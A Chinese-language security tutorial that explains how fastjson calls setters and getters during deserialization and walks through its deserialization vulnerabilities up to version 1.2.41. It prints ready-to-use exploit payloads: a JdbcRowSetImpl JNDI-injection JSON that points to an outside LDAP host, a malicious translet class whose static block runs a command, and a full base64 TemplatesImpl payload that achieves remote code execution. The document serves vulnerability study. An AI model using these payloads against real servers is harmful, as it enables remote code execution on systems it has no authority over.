走进fastjson

我们先通过官方文档来了解一下fastjson是一个什么东西?

  • fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
  • fastjson相对其他JSON库的特点是快,从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越。
  • fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。
  • fastjson有非常多的testcase,在1.2.11版本中,testcase超过3321个。每次发布都会进行回归测试,保证质量稳定。

fastjson的API十分简洁:

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
VO vo = JSON.parseObject("{...}"); //反序列化
VO vo = JSON.parse(); //反序列化

我们来写一个简单的javaBean:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name;
    public int age;

    public Student(int age,String name) {
        this.age = age;
        this.name = name;
    }

    public String getName() {
        System.out.println("调用了geter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了seter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了geter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了seter");
        this.age = age;
    }

    public static void main(String[] args) {

        Student student = new Student(1,"a");
        String text = JSON.toJSONString(student);
        System.out.println(text);
    }
}

maven依赖:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    </dependencies>

</project>

我们先简单运行一下,看一下输出:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON

从输出可以判断出,它在进行序列化的时候,自动调用了getter方法,这里应该是通过getter方法来获取来属性值,然后再根据属性值来去构造成json字符串。

接下来再看一下反序列化,一个简单的demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        Student student = new Student();
        String text = JSON.toJSONString(student);
        System.out.println("--------------------------------JSON.parse() 结果如下:");
        Object o1= JSON.parse(text);
        System.out.println("object: "+o1);
        System.out.println("class: "+o1.getClass().getName());

        System.out.println("--------------------------------JSON.parseObject(\"\") 结果如下:");
        Object o2 = JSON.parseObject(text);
        System.out.println("object: "+o2);
        System.out.println("class: "+o2.getClass().getName());

        System.out.println("--------------------------------JSON.parseObject(\"\", Student.class) 结果如下:");
        Object o3 = JSON.parseObject(text,Student.class);
        System.out.println("object: "+o3);
        System.out.println("class: "+o3.getClass().getName());

    }
}

看一下执行结果:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_02

可以发现在反序列化中是自动调用了setter,并且没有序列化反序列化我们的 private属性,并且在我们反序列化不指定特定的类时,那么fastjosn就会将一个JSON字符串反序列化为一个JSONObject对象。而并不是我们创建对象的类的对象。

这是为什么呢?大家观察序列化后的结果可以发现,我们输出的字符串中并没有类名,只有属性名与属性值,所以导致我们反序列化时如果不指定特定的类,那么Fastjosn它是不知道我们反序列化时要创建的对象是哪一个类的对象的。所以在不指定特定的类的情况下,Fastjosn就默认将JSON字符串反序列化为一个JSONObject

那么我们如何解决这个问题呢?在JSON字符串反序列化时,转为原始的类对象而不是JSONObject对象。这里有两种方法 :

第一种是在序列化的时候,在toJSONString()方法中添加SerializerFeature.WriteClassName属性,这样他就会将对象类型也序列化,如下图:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_03


可以看到,序列化的结果中相对于以前添加了一个@type字段,用于标识对象所属的类。

反序列化后:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_04


第二种方法呢,这个我们其实在前面就介绍过,是在反序列化的时候,在parseObject()方法中指定对象的类型序列化:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_05

反序列化:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_06

fastjson反序列化漏洞

说起fastjson反序列化漏洞,肯定与它的几个反序列化函数脱不了关系,我们一个一个看。

parse(string)方法

demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        System.out.println("--------------------------------JSON.parse() 结果如下:");
        Object o1= JSON.parse("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}");
    }
}

输出结果:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_07

可以看出,fastjson在使用parse()反序列化的过程中,会先调用@type标识的类的构造函数,然后用setter给对象赋值。

parseObject(string)方法

demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        System.out.println("--------------------------------JSON.parse() 结果如下:");
        Object o1= JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}");

    }
}

输出结果:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_08

跟进一下parseObject():

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_09


可以看到,他是封装了parse(),然后判断parse方法的返回结果,如果不是JSONObject对象就会强转成JSONObject对象。看parseObject()的调用结果图,再结合我们的分析就可以知道,它这里的setter方法其实就是我们的parse()方法调用的,这里的getter是我们的toJSON()方法调用的

parseObject(string,Class)方法

demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        System.out.println("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"} 结果如下:");
        Object o3 = JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}",Student.class);
        System.out.println("{\"age\":1,\"name\":\"a\"} 结果如下:");
        Object o4 = JSON.parseObject("{\"age\":1,\"name\":\"a\"}",Student.class);

    }
}

输出结果:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_10


它这里会调用setter,并返回指定类对象。

根据上面的分析,在反序列化时,parse方法会触发setter方法,parseObject会触发setter和getter方法,由于存在这种特性。如果@type标识的类的setter或者getter方法中存在恶意代码,通过构造调用链,那么就有可能达到rce,存在fastjson反序列化漏洞。

写一个demo:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.IOException;

public class Student {
    public String name="open /System/Applications/Calculator.app";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }


    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
        try {
            Runtime.getRuntime().exec(name);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {
        Student student = new Student();
        String t = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(t);
        JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"open /System/Applications/Calculator.app\"}");


    }
}

执行结果,成功rce:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_11


debug一下:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_12


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_13


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_14


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_15


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_16


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_17


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_18

在DefaultJSONParser.parseObject方法中,通过scanSymbol()方法来解析出关键字@type:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_19


在DefaultJSONParser.parseObject方法中,通过loadClass()方法来反射加载关键字@type对应的值,也就是Student类(在loadClass方法中其实有一些字符的去除,这也是我们对黑名单绕过的一个利用点):

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_20

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_21


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_22


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_23


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_24


这里会对加载的类进行黑名单检查,黑名单中只有Thread类,我们这里通过了:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_25


这里是根据不同的类来生成不同的deserializer。但是我们的Student类并不在上面的if判断中,所以会调用createJavaBeanDeserializer()方法生成一个deserializer:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_26


跟进createJavaBeanDeserializer()方法,在JavaBeanInfo.build方法中会反射获取类的属性和方法:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_27


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_28


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_29


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_30

通过反射拿到该类所有的方法存入methods,接下来会遍历methods获得get、set方法,如上几图。总结set方法自动调用的条件为:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或当前类
  • 方法名以set开头
  • 参数个数为1

get的在这里:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_31


总结get的调用条件就是:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

找到特定的setter和getter后,接着就会根据JSON字符串中的键值对来调用相应的setter。

小结:

parse(jsonStr) 会调用到:构造方法指定属性的setter(),特殊的getter()

parseObject(jsonStr) 会调用到:构造方法,Json字符串指定属性的setter(),所有getter() 包括不存在属性和私有属性的getter()

parseObject(jsonStr,Object.class)会调用到: 构造方法,Json字符串指定属性的setter(),特殊的getter()

parseObject(jsonStr)会调用到更多的getter是因为parseObject里有一个toJSON()方法,在toJSON()方法中调用到的。上面特殊的getter是指:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_32

fastjson <=1.2.24

在小于等于1.2.24版本中,总共有两条利用链

1.JdbcRowSetImpl利用链

利用条件:如下三种反序列化方法通杀

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

demo:

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class JRS {
    public static void main(String[] args) throws Exception {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://10.32.124.11:23457/Command8");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

运行结果:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_33


这条链最终利用的点在jndi注入,原理就是setter的自动调用。跟进分析一下setDataSourceName(String var1),这个方法是符合setter自动调用的格式的,并且参数是可控的:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_34


跟进super.setDataSourceName(var1)看下:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_35


如上图dataSource的值,我们是可以控制的setAutoCommit(boolean var1),看一下这个方法他是调用到了connect()的:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_36

connect()方法调用到了lookup()方法,由此造成了jndi注入,并且lookup方法的参数,正是dataSource,也就是我们在setDataSourceName方法中可以传进去的那个参数:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_37


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_38

开个漏洞demo来演示一下:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_39


payload:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_40

{"a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://91.206.92.47:1389/dulfrc",
        "autoCommit":true 
}}

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_41

攻击成功:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_42

2.TemplatesImpl利用链

利用条件:比较苛刻,如下

JSON.parseObject(text, class, Feature.SupportNonPublicField)
JSON.parse(text,Feature.SupportNonPublicField)

为什么在反序列化函数中要指定Feature.SupportNonPublicField参数?

这是因为TemplatesImpl利用链的好几个属性都是private,所以在反序列化函数中需要指定Feature.SupportNonPublicField参数。要不然它是不会序列化反序列化被private修饰的属性的

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_43

这个利用链在之前分析shiro的时候讲过,这里就不进行详细介绍了。在fastjson中这条链主要是通过getter方法来触发的。调用getOutputProperties方法,它是_outputProperties的getter方法,Fastjson在为类中的属性调用getter与setter方法时是会调用smartMatch()忽略掉_ -字符的。也就是说哪怕你的字段名叫 a_g_e,getter 方法为 getAge(),fastjson 也可以找得到,在 大于等于1.2.36 版本可以同时使用 _ 和 - 进行组合混淆。

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_44


跟进newTransformer()方法

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_45

跟进getTransletInstance()方法

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_46


如上图在getTransletInstance()方法中,有两个if判断,要求我们_name与_class属性都不能为空。跟进defineTransletClasses()方法,

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_47

如上图,在defineTransletClasses()方法中,会读取bytecodes[]加载类,其中_tfactory不能为null,一旦为空,那么在第二个红框处就会报错,导致无法走到类加载出。并且因为加载完类后会强制类型转换为AbstractTranslet,所以加载的类必须为AbstractTranslet的子类,这里在写exp的时候要注意下

还有一个点是我们传进去的bytecodes[]是需进行base64编码的,这是因为fastjson在解析byte[]的时候是会进行base64解码的,deserialze()->bytesValue() 如下图:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_48

总结一下TemplatesImpl链子要满足的点:

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

写个demo:

恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet {
    static{
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }
        catch (Exception e){
            System.out.println();

        }
    }

    public static void main(String[] args) {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

转化成字节码:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_49

base64编码:

import org.apache.commons.codec.binary.Base64;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import java.io.*;

public class Base64Byte {

    private void Base64Convert() {

    }

    public static String ioToBase64(InputStream in) throws IOException {
        String strBase64 = null;
        try {
            byte[] bytes = new byte[in.available()];
            in.read(bytes);
            strBase64 = new BASE64Encoder().encode(bytes);      
        } finally {
            if (in != null) {
                in.close();
            }
        }

        return strBase64;
    }

    public static String byteToBase64(byte[] bytes)  {
        String strBase64 = null;
        strBase64 = Base64.encodeBase64String(bytes);      
        return strBase64;
    }

    public static byte[] base64ToByte(String strBase64) throws IOException {
        byte[] bytes = new BASE64Decoder().decodeBuffer(strBase64);   
        return bytes;
    }

    public static void main(String[] args) {
                byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,64,10,0,9,0,41,10,0,42,0,43,8,0,44,10,0,42,0,45,7,0,46,9,0,47,0,48,10,0,49,0,50,7,0,51,7,0,52,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,4,97,114,103,115,1,0,19,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,53,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,46,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,54,12,0,55,0,56,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,57,0,58,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,59,12,0,60,0,61,7,0,62,12,0,63,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,5,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,9,0,17,0,18,0,1,0,12,0,0,0,43,0,0,0,1,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,20,0,14,0,0,0,12,0,1,0,0,0,1,0,19,0,20,0,0,0,1,0,21,0,22,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,25,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,23,0,24,0,1,0,0,0,1,0,25,0,26,0,2,0,27,0,0,0,4,0,1,0,28,0,1,0,21,0,29,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,30,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,23,0,24,0,1,0,0,0,1,0,30,0,31,0,2,0,0,0,1,0,32,0,33,0,3,0,27,0,0,0,4,0,1,0,28,0,8,0,34,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,35,0,36,0,0,0,37,0,0,0,7,0,2,76,7,0,38,6,0,1,0,39,0,0,0,2,0,40};
                System.out.println(byteToBase64(bytes));
    }
}

payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAQAoACQApCgAqACsIACwKACoALQcALgkALwAwCgAxADIHADMHADQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkx0ZXN0OwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcANQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcALgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcANgwANwA4AQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAOQA6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAOwwAPAA9BwA+DAA/AAsBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4AIQAIAAkAAAAAAAUAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAHAA4AAAAMAAEAAAAFAA8AEAAAAAkAEQASAAEADAAAACsAAAABAAAAAbEAAAACAA0AAAAGAAEAAAAUAA4AAAAMAAEAAAABABMAFAAAAAEAFQAWAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAZAA4AAAAgAAMAAAABAA8AEAAAAAAAAQAXABgAAQAAAAEAGQAaAAIAGwAAAAQAAQAcAAEAFQAdAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAeAA4AAAAqAAQAAAABAA8AEAAAAAAAAQAXABgAAQAAAAEAHgAfAAIAAAABACAAIQADABsAAAAEAAEAHAAIACIACwABAAwAAABjAAIAAQAAABS4AAISA7YABFenAApLsgAGtgAHsQABAAAACQAMAAUAAwANAAAAFgAFAAAACgAJAA8ADAAMAA0ADQATABAADgAAAAwAAQANAAYAIwAkAAAAJQAAAAcAAkwHACYGAAEAJwAAAAIAKA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

成功rce:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_50

fastjson 1.2.25-1.2.41

对比两个jar包发现,更新以后loadClass()方法改为了checkAutoType()方法:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_51


再看一下新出现的几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,默认是关闭的。 denyList ,是反序列化类的黑名单,acceptList 是反序列化白名单。

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_52


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_53


跟进一下checkAutoType()方法,如果开启了 autoType,就是为true,则会先判断类名是否在白名单中,如果在,就使用 loadClass方法进行加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_54


这里的loadclass,是写在白名单认证里的,我们利用不了,接着往下看。如果没开启 autoType ,就是autoType为false,则会先使用黑名单匹配,再使用白名单匹配和加载

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_55

